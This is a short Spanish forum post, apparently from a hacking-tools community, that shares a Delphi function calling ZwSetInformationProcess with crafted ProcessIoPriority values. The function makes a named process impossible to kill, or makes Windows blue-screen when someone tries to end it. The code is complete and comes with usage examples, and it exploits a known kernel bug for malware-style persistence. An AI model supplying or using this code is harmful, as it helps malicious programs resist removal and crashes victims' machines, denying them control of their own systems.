[FUNCIONES] Non-Killable Process & BSOD
Publicado: 22 Abr 2014, 01:52
Dejo por aquí la función traducida de lo que nos dejó Pink en la zona de VB6 y también la que provoca el BSOD si intentan cerrar el proceso.
Esta nueva versión permite elegir el proceso como hizo M3.
Esta nueva versión permite elegir el proceso como hizo M3.
//All Credits: http://waleedassar.blogspot.com/2013/02/kernel-bug-1-processiopriority.html
//Metal_Kingdom | UdTools.net
function ZwSetInformationProcess(cs1:THandle; cs2:ULONG; cs3:Pointer; cs4:ULONG):ULONG; stdcall; external 'ntdll.dll';
function Non_Killable(Process: String; BSOD: Bool): ULONG;
var
Val : ULONG;
ProcessEntry : TProcessEntry32;
hSnapshot : THandle;
ProcessHandle : THandle;
ProcessID : DWORD;
begin
case BSOD of
True : Val := $FFFFFFFF;
False : Val := $8000F129;
end;
hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
ProcessEntry.dwSize := SizeOf(ProcessEntry32);
while Process32Next(hSnapshot, ProcessEntry) do
begin
if Process = ProcessEntry.szExeFile then
begin
ProcessID := ProcessEntry.th32ProcessID;
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, True, ProcessID);
CloseHandle(hSnapshot);
end;
end;
Result := ZwSetInformationProcess(ProcessHandle, $21, @Val, SizeOf(Val));
end;
Ejemplo:non_killable('Project1.exe', False); //Sin BSOD
non_killable('Project1.exe', True); //Con BSOD
Saludos!